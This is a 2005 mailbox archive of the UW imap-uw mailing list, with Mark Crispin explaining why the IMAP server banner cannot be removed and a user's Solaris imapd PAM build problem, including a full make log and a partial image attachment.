imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 21 Jul 2005, Brian Thompson wrote: > I think Kevin was referring to the Sun pkgadd name. Sounds > like he's trying to install the version of UW imapd that Sun > precompiles and includes on the Solaris Companion CD. For > Solaris 8/Sparc that corresponds to UW imapd-2000b. If that is the case, UW imapd can be built for Solaris by adding the option PASSWDTYPE=pmb to the make command used to build it, e.g. make gso PASSWDTYPE=pmb -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 21 11:19:37 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jul 2005 11:19:37 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6LIJahM027807 for ; Thu, 21 Jul 2005 11:19:36 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LIJanV021232 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 11:19:36 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LIJI8P008656; Thu, 21 Jul 2005 11:19:18 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LIJGPt008647 for ; Thu, 21 Jul 2005 11:19:16 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LIJGFb024263 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 21 Jul 2005 11:19:16 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LIJFhm020409 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 21 Jul 2005 11:19:15 -0700 Received: from Shimo-Tomobiki.panda.com (56-99-74-65.gci.net [65.74.99.56]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LIJDeZ027202 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 21 Jul 2005 11:19:14 -0700 Date: Thu, 21 Jul 2005 10:19:07 -0800 From: Mark Crispin To: "KISHOR.MV" Subject: Re: [Imap-uw] How to diable the In-Reply-To: <155701c58df7$74043b00$7f01a8c0@user> Message-ID: References: <155701c58df7$74043b00$7f01a8c0@user> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 21 Jul 2005, KISHOR.MV wrote: > How disable the server banner ? > I am using imap-2004d > and the security scanner program says that my Imap4 and POP3 server provides > server banners which is interesting for attackers There is always a banner from the IMAP server; this is required by the protocol. Although this information may be interesting to attackers, it is also interesting to legitimate clients. Among other things, it instructs the clients on how to log in to the server; without that information the client can not log in (or worse, will attempt an insecure method of logging in). For example, here is a typical banner: * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS LOGINDISABLED AUTH=CRAM-MD5 AUTH=ANONYMOUS] imap.example.com IMAP4rev1 2005.360 at Thu, 21 Jul 2005 11:09:42 -0700 (PDT) Let's examine each individual element: * OK Mandatory protocol element. Indicates that server has accepted the session and is ready to for the client to log in. [CAPABILITY ...] Protocol element. Identifies server capabilities used to log in. The client needs this information to know what procedures it can use in logging in. Without this information, the client will attempt a deprecated and insecure means imap.example.com DNS name of the server. The client already knows this, since it connected to the server. IMAP4rev1 2005.360 Version number of the server at Thu, 21 Jul 2005 11:09:42 -0700 (PDT) Date/time at the server. Presumably the client has access to a clock, although it may find the server's timezone interesting to know where in the world the server is located. In conclusion, just about the only thing that can be removed from the banner with meaningful effect is the version number of the server. You can remove the server DNS name and time, but it's a bit silly. The other stuff can't/shouldn't be removed at all. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 21 11:47:23 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jul 2005 11:47:23 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6LIlNwC029283 for ; Thu, 21 Jul 2005 11:47:23 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LIlMUM006740 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 11:47:22 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LIl9Fb011513; Thu, 21 Jul 2005 11:47:09 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LIl7fg011505 for ; Thu, 21 Jul 2005 11:47:07 -0700 Received: from xcgca810.northgrum.com (xcgca810.northgrum.com [208.12.122.34]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LIl6wX013861 for ; Thu, 21 Jul 2005 11:47:06 -0700 Received: from xcgca800.northgrum.com ([157.127.103.70]) by xcgca810.northgrum.com with InterScan Messaging Security Suite; Thu, 21 Jul 2005 11:46:57 -0700 Received: from xcgv4800.northgrum.com ([158.114.112.124]) by xcgca800.northgrum.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 21 Jul 2005 11:46:57 -0700 Received: from XCGV4806.northgrum.com ([158.114.112.166]) by xcgv4800.northgrum.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 21 Jul 2005 14:46:54 -0400 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_001_01C58E24.90994C46" Subject: RE: [Imap-uw] IMAP With SSHA Date: Thu, 21 Jul 2005 14:46:54 -0400 Message-ID: <5DBAE64CD0928B44B45B6FAF5B03B902B34A4B@XCGV4806.northgrum.com> X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: [Imap-uw] IMAP With SSHA Thread-Index: AcWOHwOIf9eLzu+zTvS3AqLFiCsNjwAA/OKQ From: "Urciolo, Kevin" To: "Mark Crispin" , "Brian Thompson" X-OriginalArrivalTime: 21 Jul 2005 18:46:54.0859 (UTC) FILETIME=[90C2F5B0:01C58E24] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multi-part message in MIME format. ------_=_NextPart_001_01C58E24.90994C46 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable =20 Howdy, that you help. I tried this yesterday actually. However, I am still having problems. I am not sure what is going on at the moment. I am not getting debug from pam in the logs showing that it is being hit. The screen shots show the error from the client and the client configuration. The syslog does show this: Jul 21 18:37:58 ******** imapd[10501]: [ID 806292 mail.debug] imap service init from ***.***.***.*** Jul 21 18:38:02 ******** imapd[10501]: [ID 985434 mail.info] Command stream end of file, while reading line user=3D******** host=3D******* [***.***.***.***] The FAQ suggests this is just the client disconnecting improperly. Here is the compiler output: # make clean Removing old processed sources and binaries... sh -c 'rm -rf an ua OSTYPE SPECIALS c-client mtest imapd ipopd mailutil mlock dmail tmail || true' cd tools;make clean sh -c 'rm -f *.o uahelper || true' # make gso PASSWDTYPE=3Dpmb make sslnopwd +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Building in full compliance with RFC 3501 security + requirements: ++ TLS/SSL encryption is supported ++ Unencrypted plaintext passwords are prohibited +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Applying an process to sources... tools/an "ln -s" src/c-client c-client tools/an "ln -s" src/ansilib c-client tools/an "ln -s" src/charset c-client tools/an "ln -s" src/osdep/unix c-client tools/an "ln -s" src/mtest mtest tools/an "ln -s" src/ipopd ipopd tools/an "ln -s" src/imapd imapd tools/an "ln -s" src/mailutil mailutil tools/an "ln -s" src/mlock mlock tools/an "ln -s" src/dmail dmail tools/an "ln -s" src/tmail tmail ln -s tools/an . make build EXTRACFLAGS=3D'' EXTRALDFLAGS=3D'' EXTRADRIVERS=3D'mbox' EXTRAAUTHENTICATORS=3D'' PASSWDTYPE=3Dpmb SS LTYPE=3Dnopwd IP=3D4 EXTRASPECIALS=3D'' BUILDTYPE=3Dgso Building c-client for gso... echo `cat SPECIALS` > c-client/SPECIALS cd c-client;make gso EXTRACFLAGS=3D''\ EXTRALDFLAGS=3D''\ EXTRADRIVERS=3D'mbox'\ EXTRAAUTHENTICATORS=3D''\ PASSWDTYPE=3Dpmb SSLTYPE=3Dnopwd IP=3D4\ =20 sh -c '(strings /lib/libc.a | grep getpassphrase > /dev/null) && ln -s os_soln.h os_sol.h || ln -s os_ solo.h os_sol.h' make build EXTRACFLAGS=3D'' EXTRALDFLAGS=3D'' EXTRADRIVERS=3D'mbox' EXTRAAUTHENTICATORS=3D'' PASSWDTYPE=3Dpmb SS LTYPE=3Dnopwd `cat SPECIALS` OS=3Dsol \ SIGTYPE=3Dpsx CHECKPW=3Dpsx CRXTYPE=3Dnfs \ SPOOLDIR=3D/var/spool MAILSPOOL=3D/var/mail \ ACTIVEFILE=3D/usr/share/news/active \ RSHPATH=3D/usr/bin/rsh \ BASECFLAGS=3D"-g -O2" \ BASELDFLAGS=3D"-lsocket -lnsl -lgen" \ RANLIB=3Dtrue CC=3Dgcc sh -c 'rm -rf auths.c crexcl.c nfstest.c linkage.[ch] siglocal.c osdep*.[ch] *.o ARCHIVE *FLAGS *TYPE=20 c-client.a || true' Once-only environment setup... echo gcc > CCTYPE echo -g -O2 '' > CFLAGS echo -DCREATEPROTO=3Dunixproto -DEMPTYPROTO=3Dunixproto \ -DMAILSPOOL=3D\"/var/mail\" \ -DANONYMOUSHOME=3D\"/var/mail/anonymous\" \ -DACTIVEFILE=3D\"/usr/share/news/active\" = -DNEWSSPOOL=3D\"/var/spool/news\" \ -DRSHPATH=3D\"/usr/bin/rsh\" -DLOCKPGM=3D\"/etc/mlock\" > OSCFLAGS echo -lsocket -lnsl -lgen > LDFLAGS echo "ar rc c-client.a osdep.o mail.o misc.o newsrc.o smanager.o utf8.o siglocal.o dummy.o pseudo.o n etmsg.o flstring.o fdstring.o rfc822.o nntp.o smtp.o imap4r1.o pop3.o unix.o mbx.o mmdf.o tenex.o mt x.o news.o phile.o mh.o mx.o;true c-client.a" > ARCHIVE echo sol > OSTYPE ./drivers mbox imap nntp pop3 mh mx mbx tenex mtx mmdf unix news phile dummy ./mkauths md5 pla log echo -DMD5ENABLE=3D\"/etc/cram-md5.pwd\" >> OSCFLAGS ln -s os_sol.h osdep.h ln -s os_sol.c osdepbas.c ln -s log_std.c osdeplog.c ln -s sig_psx.c siglocal.c ln -s crx_nfs.c crexcl.c ln -s ip4_unix.c ip_unix.c sh -c '(test -f /usr/include/sys/statvfs.h -a sol !=3D sc5 -a sol !=3D = sco) && ln -s nfstnew.c nfstest.c | | ln -s nfstold.c nfstest.c' Broken PAM password authentication echo -lpam -ldl >> LDFLAGS ln -s ckp_pmb.c osdepckp.c Building with SSL ln -s ssl_unix.c osdepssl.c echo -I/usr/local/ssl/include -I/usr/local/ssl/include/openssl -DSSL_CERT_DIRECTORY=3D\"/usr/local/ssl/c erts\" -DSSL_KEY_DIRECTORY=3D\"/usr/local/ssl/certs\" >> OSCFLAGS echo " ssl_onceonlyinit ();" >> linkage.c echo -L/usr/local/ssl/lib -lssl -lcrypto >> LDFLAGS Building with SSL and plaintext passwords disabled unless SSL/TLS echo " mail_parameters (NIL,SET_DISABLEPLAINTEXT,(void *) 2);" >> linkage.c cat osdepbas.c osdepckp.c osdeplog.c osdepssl.c > osdep.c Building OS-dependent module If you get No such file error messages for files x509.h, ssl.h, pem.h, buffer.h, bio.h, and crypto.h, that means that OpenSSL is not installed on your system. Either install OpenSSL first or build with command: make sol SSLTYPE=3Dnone `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c osdep.c: In function `checkpw': osdep.c:148: warning: assignment from incompatible pointer type `cat CCTYPE` -c `cat CFLAGS` mail.c `cat CCTYPE` -c `cat CFLAGS` misc.c `cat CCTYPE` -c `cat CFLAGS` newsrc.c `cat CCTYPE` -c `cat CFLAGS` smanager.c `cat CCTYPE` -c `cat CFLAGS` utf8.c `cat CCTYPE` -c `cat CFLAGS` siglocal.c `cat CCTYPE` -c `cat CFLAGS` dummy.c `cat CCTYPE` -c `cat CFLAGS` pseudo.c `cat CCTYPE` -c `cat CFLAGS` netmsg.c `cat CCTYPE` -c `cat CFLAGS` flstring.c `cat CCTYPE` -c `cat CFLAGS` fdstring.c `cat CCTYPE` -c `cat CFLAGS` rfc822.c `cat CCTYPE` -c `cat CFLAGS` nntp.c `cat CCTYPE` -c `cat CFLAGS` smtp.c `cat CCTYPE` -c `cat CFLAGS` imap4r1.c `cat CCTYPE` -c `cat CFLAGS` pop3.c `cat CCTYPE` -c `cat CFLAGS` unix.c `cat CCTYPE` -c `cat CFLAGS` mbx.c `cat CCTYPE` -c `cat CFLAGS` mmdf.c `cat CCTYPE` -c `cat CFLAGS` tenex.c `cat CCTYPE` -c `cat CFLAGS` mtx.c `cat CCTYPE` -c `cat CFLAGS` news.c `cat CCTYPE` -c `cat CFLAGS` phile.c `cat CCTYPE` -c `cat CFLAGS` mh.c `cat CCTYPE` -c `cat CFLAGS` mx.c sh -c 'rm -rf c-client.a || true' ar rc c-client.a osdep.o mail.o misc.o newsrc.o smanager.o utf8.o siglocal.o dummy.o pseudo.o netmsg. o flstring.o fdstring.o rfc822.o nntp.o smtp.o imap4r1.o pop3.o unix.o mbx.o mmdf.o tenex.o mtx.o ne ws.o phile.o mh.o mx.o;true c-client.a echo gso > OSTYPE touch rebuild sh -c 'rm -rf rebuild || true' Building bundled tools... cd mtest;make `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c mtest.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o mtest mtest.o ../c-client/c-client. a `cat ../c-client/LDFLAGS` cd ipopd;make `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c ipop2d.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o ipop2d ipop2d.o ../c-client/c-clien t.a `cat ../c-client/LDFLAGS` `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c ipop3d.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o ipop3d ipop3d.o ../c-client/c-clien t.a `cat ../c-client/LDFLAGS` cd imapd;make `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -DANOFILE=3D\"/etc/anonymous.newsgroup s\" -DALERTFILE=3D\"/etc/imapd.alert\" -DNNTPFILE=3D\"/etc/imapd.nntp\" -DUSERALERTFILE=3D\".imapalert\" - DSHUTDOWNFILE=3D\"/etc/nologin\" -c imapd.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -DANOFILE=3D\"/etc/anonymous.newsgroup s\" -DALERTFILE=3D\"/etc/imapd.alert\" -DNNTPFILE=3D\"/etc/imapd.nntp\" -DUSERALERTFILE=3D\".imapalert\" - DSHUTDOWNFILE=3D\"/etc/nologin\" -o imapd imapd.o ../c-client/c-client.a `cat ../c-client/LDFLAGS` cd mailutil;make `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c mailutil.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o mailutil mailutil.o ../c-client/c-c lient.a `cat ../c-client/LDFLAGS` cd mlock;make || true `cat ../c-client/CCTYPE` `cat ../c-client/CFLAGS` -c mlock.c `cat ../c-client/CCTYPE` `cat ../c-client/CFLAGS` -o mlock mlock.o cd dmail;make || true `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c dmail.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o dmail dmail.o ../c-client/c-client. a `cat ../c-client/LDFLAGS` cd tmail;make || true `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c tmail.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o tmail tmail.o ../c-client/c-client. a `cat ../c-client/LDFLAGS` -----Original Message----- From: mrc@ndcms.cac.washington.edu [mailto:mrc@ndcms.cac.washington.edu] On Behalf Of Mark Crispin Sent: Thursday, July 21, 2005 2:05 PM To: Brian Thompson Cc: Urciolo, Kevin; imap-uw@u.washington.edu Subject: Re: [Imap-uw] IMAP With SSHA On Thu, 21 Jul 2005, Brian Thompson wrote: > I think Kevin was referring to the Sun pkgadd name. Sounds like he's=20 > trying to install the version of UW imapd that Sun precompiles and=20 > includes on the Solaris Companion CD. For Solaris 8/Sparc that=20 > corresponds to UW imapd-2000b. If that is the case, UW imapd can be built for Solaris by adding the option PASSWDTYPE=3Dpmb to the make command used to build it, e.g. make gso PASSWDTYPE=3Dpmb -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. ------_=_NextPart_001_01C58E24.90994C46 Content-Type: image/jpeg; name="imap1.JPG" Content-Transfer-Encoding: base64 Content-Description: imap1.JPG Content-Disposition: attachment; filename="imap1.JPG" /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0a HBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIy MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAIsAXEDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwCK0ubi Gyg8uZ13xJIxz95mUFifUkkmuq0/w7q95pwvp9SW1iYAp5hJJz0z6Vz+jW8FwNNiuXaOGSOFXdeq gqBmvSJrK20g2gU3UiWeU2hi3DLhW29OMHoOprt5krLqzihTcm30R57f/wBpabePbTXLF15DI+Qw 9RVb7de/8/Mn5103iZ9HmgjkgtrVNUdwJBCpRggHJZePVeo71zXl1bVuhnKLi7XE+3Xv/PzJ+dH2 69/5+ZPzpfLo8uloTqJ9uvf+fmT86Pt17/z8yfnS+XR5dGgaifbr3/n5k/Oj7de/8/Mn50vl0eXR oGon269/5+ZPzo+3Xv8Az8yfnS+XR5dGgaifbr3/AJ+ZPzo+3Xv/AD8yfnS+XXVXGtacupzSi8g8 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 